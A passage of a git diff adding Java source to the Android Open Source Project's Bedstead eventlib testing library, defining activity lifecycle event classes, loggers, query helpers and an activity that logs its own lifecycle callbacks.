+            extends EventLogsQuery<ActivityResumedEvent, ActivityResumedEventQuery> {
+        ActivityQueryHelper<ActivityResumedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityResumedEventQuery(String packageName) {
+            super(ActivityResumedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityResumedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityResumedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityResumedEvent}. */
+    public static ActivityResumedEventLogger logger(Activity activity) {
+        return new ActivityResumedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityResumedEvent}. */
+    public static final class ActivityResumedEventLogger
+            extends EventLogger<ActivityResumedEvent> {
+        private ActivityResumedEventLogger(Activity activity) {
+            super(activity, new ActivityResumedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityResumedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityResumedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityResumedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityResumedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
new file mode 100644
index 0000000..e0ee657
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onStart()} is called.
+ */
+public final class ActivityStartedEvent extends Event {
+
+    /** Begin a query for {@link ActivityStartedEvent} events. */
+    public static ActivityStartedEventQuery queryPackage(String packageName) {
+        return new ActivityStartedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityStartedEvent}. */
+    public static final class ActivityStartedEventQuery
+            extends EventLogsQuery<ActivityStartedEvent, ActivityStartedEventQuery> {
+        ActivityQueryHelper<ActivityStartedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+
+        private ActivityStartedEventQuery(String packageName) {
+            super(ActivityStartedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityStartedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityStartedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityStartedEvent}. */
+    public static ActivityStartedEventLogger logger(Activity activity) {
+        return new ActivityStartedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityStartedEvent}. */
+    public static final class ActivityStartedEventLogger extends EventLogger<ActivityStartedEvent> {
+        private ActivityStartedEventLogger(Activity activity) {
+            super(activity, new ActivityStartedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being started. */
+        public ActivityStartedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being started. */
+        public ActivityStartedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being started. */
+        public ActivityStartedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} started. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityStartedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
new file mode 100644
index 0000000..736a097
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onStop()} is called.
+ */
+public final class ActivityStoppedEvent extends Event {
+
+    /** Begin a query for {@link ActivityStoppedEvent} events. */
+    public static ActivityStoppedEventQuery queryPackage(String packageName) {
+        return new ActivityStoppedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityStoppedEvent}. */
+    public static final class ActivityStoppedEventQuery
+            extends EventLogsQuery<ActivityStoppedEvent, ActivityStoppedEventQuery> {
+        ActivityQueryHelper<ActivityStoppedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+
+        private ActivityStoppedEventQuery(String packageName) {
+            super(ActivityStoppedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityStoppedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityStoppedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityStoppedEvent}. */
+    public static ActivityStoppedEventLogger logger(Activity activity) {
+        return new ActivityStoppedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityStoppedEvent}. */
+    public static final class ActivityStoppedEventLogger extends EventLogger<ActivityStoppedEvent> {
+        private ActivityStoppedEventLogger(Activity activity) {
+            super(activity, new ActivityStoppedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being stopped. */
+        public ActivityStoppedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being stopped. */
+        public ActivityStoppedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being stopped. */
+        public ActivityStoppedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} stopped. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityStoppedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java
new file mode 100644
index 0000000..a3498c8
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import android.app.Activity;
+
+/**
+ * Wrapper for information about an {@link Activity}.
+ *
+ * <p>This is used instead of {@link Activity} so that it can be easily serialized.
+ */
+public class ActivityInfo extends ClassInfo {
+
+    public ActivityInfo(Activity activity) {
+        this(activity.getClass());
+    }
+
+    public ActivityInfo(Class<? extends Activity> activityClass) {
+        this(activityClass.getName());
+    }
+
+    public ActivityInfo(String activityClassName) {
+        super(activityClassName);
+        // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+        //  manifest)
+    }
+
+    @Override
+    public String toString() {
+        return "Activity{" +
+                "class=" + super.toString() +
+                "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java
new file mode 100644
index 0000000..d588583
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import java.io.Serializable;
+
+/**
+ * Wrapper for information about a {@link Class}.
+ *
+ * <p>This is used instead of {@link Class} so that it can be easily serialized.
+ */
+public class ClassInfo implements Serializable {
+    private final String mClassName;
+
+    public ClassInfo(Object obj) {
+        this(obj.getClass());
+    }
+
+    public ClassInfo(Class<?> clazz) {
+        this(clazz.getName());
+    }
+
+    public ClassInfo(String className) {
+        mClassName = className;
+    }
+
+    public String className() {
+        return mClassName;
+    }
+
+    public String simpleName() {
+        return getSimpleName(mClassName);
+    }
+
+    private static String getSimpleName(String name) {
+        final int dot = name.lastIndexOf(".");
+        if (dot > 0) {
+            return name.substring(name.lastIndexOf(".")+1); // strip the package name
+        }
+        return name;
+    }
+
+    @Override
+    public String toString() {
+        return "Class{" +
+                "className=" + className() +
+                "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..06af095
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityDestroyedEvent;
+import com.android.eventlib.events.activities.ActivityPausedEvent;
+import com.android.eventlib.events.activities.ActivityRestartedEvent;
+import com.android.eventlib.events.activities.ActivityResumedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
+import com.android.eventlib.events.activities.ActivityStoppedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+    private String mOverrideActivityClassName;
+
+    public void setOverrideActivityClassName(String overrideActivityClassName) {
+        mOverrideActivityClassName = overrideActivityClassName;
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logOnCreate(savedInstanceState, /* persistentState= */ null);
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        super.onCreate(savedInstanceState, persistentState);
+        logOnCreate(savedInstanceState, persistentState);
+    }
+
+    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+                ActivityCreatedEvent.logger(this, savedInstanceState)
+                        .setPersistentState(persistentState);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityStartedEvent}. */
+    @Override
+    protected void onStart() {
+        super.onStart();
+        ActivityStartedEvent.ActivityStartedEventLogger logger =
+                ActivityStartedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityRestartedEvent}. */
+    @Override
+    protected void onRestart() {
+        super.onRestart();
+        ActivityRestartedEvent.ActivityRestartedEventLogger logger =
+                ActivityRestartedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityResumedEvent}. */
+    @Override
+    protected void onResume() {
+        super.onResume();
+        ActivityResumedEvent.ActivityResumedEventLogger logger =
+                ActivityResumedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityPausedEvent}. */
+    @Override
+    protected void onPause() {
+        super.onPause();
+        ActivityPausedEvent.ActivityPausedEventLogger logger =
+                ActivityPausedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityStoppedEvent}. */
+    @Override
+    protected void onStop() {
+        super.onStop();
+        ActivityStoppedEvent.ActivityStoppedEventLogger logger =
+                ActivityStoppedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityDestroyedEvent}. */
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        ActivityDestroyedEvent.ActivityDestroyedEventLogger logger =
+                ActivityDestroyedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..a32cfd9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+    private static final String LOG_TAG = "EventLibACF";
+
+    @Override
+    public Activity instantiateActivity(ClassLoader cl, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+        try {
+            return super.instantiateActivity(cl, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG,
+                    "Activity class (" + className + ") not found, routing to EventLibActivity");
+            EventLibActivity activity =
+                    (EventLibActivity) super.instantiateActivity(
+                            cl, EventLibActivity.class.getName(), intent);
+            activity.setOverrideActivityClassName(className);
+            return activity;
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java
new file mode 100644
index 0000000..91d67ea
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.app.Activity;
+
+import com.android.eventlib.EventLogsQuery;
+
+/** Query for an {@link Activity}. */
+public interface ActivityQuery<E extends EventLogsQuery> extends ClassQuery<E>  {
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java
new file mode 100644
index 0000000..8389d4c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+
+/** Implementation of {@link ActivityQuery}. */
+public final class ActivityQueryHelper<E extends EventLogsQuery> implements ActivityQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mClassQueryHelper;
+
+    public ActivityQueryHelper(E query) {
+        mQuery = query;
+        mClassQueryHelper = new ClassQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return mClassQueryHelper.isSameClassAs(clazz);
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassQueryHelper.className();
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mClassQueryHelper.simpleName();
+    }
+
+    public boolean matches(ActivityInfo value) {
+        return mClassQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java
new file mode 100644
index 0000000..035285c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a single key in a {@link Bundle}. */
+public interface BundleKeyQuery<E extends EventLogsQuery> extends Serializable {
+
+    /** Require that the key exists. */
+    E exists();
+
+    /** Require that the key does not exist. */
+    E doesNotExist();
+
+    @CheckResult
+    StringQuery<E> stringValue();
+
+    @CheckResult
+    SerializableQuery<E> serializableValue();
+
+    @CheckResult
+    BundleQuery<E> bundleValue();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java
new file mode 100644
index 0000000..f5851a4
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link BundleKeyQuery}. */
+public final class BundleKeyQueryHelper<E extends EventLogsQuery> implements BundleKeyQuery<E>,
+        Serializable {
+
+    private final E mQuery;
+    private Boolean mExpectsToExist = null;
+    private StringQueryHelper<E> mStringQuery = null;
+    private SerializableQueryHelper<E> mSerializableQuery;
+    private BundleQueryHelper<E> mBundleQuery;
+
+    public BundleKeyQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E exists() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call exists() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = true;
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotExist() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call doesNotExist() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = false;
+        return mQuery;
+    }
+
+    @Override
+    public StringQuery<E> stringValue() {
+        if (mStringQuery == null) {
+            checkUntyped();
+            mStringQuery = new StringQueryHelper<>(mQuery);
+        }
+        return mStringQuery;
+    }
+
+    @Override
+    public SerializableQuery<E> serializableValue() {
+        if (mSerializableQuery == null) {
+            checkUntyped();
+            mSerializableQuery = new SerializableQueryHelper<>(mQuery);
+        }
+        return mSerializableQuery;
+    }
+
+    @Override
+    public BundleQuery<E> bundleValue() {
+        if (mBundleQuery == null) {
+            checkUntyped();
+            mBundleQuery = new BundleQueryHelper<>(mQuery);
+        }
+        return mBundleQuery;
+    }
+
+    private void checkUntyped() {
+        if (mStringQuery != null || mSerializableQuery != null || mBundleQuery != null) {
+            throw new IllegalStateException("Each key can only be typed once");
+        }
+    }
+
+    public boolean matches(Bundle value, String key) {
+        if (mExpectsToExist != null && value.containsKey(key) != mExpectsToExist) {
+            return false;
+        }
+        if (mStringQuery != null && !mStringQuery.matches(value.getString(key))) {
+            return false;
+        }
+        if (mSerializableQuery != null && !mSerializableQuery.matches(value.getSerializable(key))) {
+            return false;
+        }
+        if (mBundleQuery != null && !mBundleQuery.matches(value.getBundle(key))) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java
new file mode 100644
index 0000000..cf9fd77
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Bundle}. */
+public interface BundleQuery<E extends EventLogsQuery>  extends Serializable {
+
+    /** Query a given key on the {@link Bundle}. */
+    @CheckResult
+    BundleKeyQuery<E> key(String key);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java
new file mode 100644
index 0000000..dc60387
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+
+/** Implementation of {@link BundleQuery}. */
+public final class BundleQueryHelper<E extends EventLogsQuery> implements BundleQuery<E>,
+        Serializable {
+
+    private final E mQuery;
+    private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
+
+    public BundleQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public BundleKeyQuery<E> key(String key) {
+        if (!mKeyQueryHelpers.containsKey(key)) {
+            mKeyQueryHelpers.put(key, new BundleKeyQueryHelper<>(mQuery));
+        }
+        return mKeyQueryHelpers.get(key);
+    }
+
+    public boolean matches(Bundle value) {
+        for (Map.Entry<String, BundleKeyQueryHelper<E>> keyQueries : mKeyQueryHelpers.entrySet()) {
+            if (!keyQueries.getValue().matches(value, keyQueries.getKey())) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean matches(SerializableParcelWrapper<Bundle> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            if (mKeyQueryHelpers.isEmpty()) {
+                return true;
+            }
+            return false;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
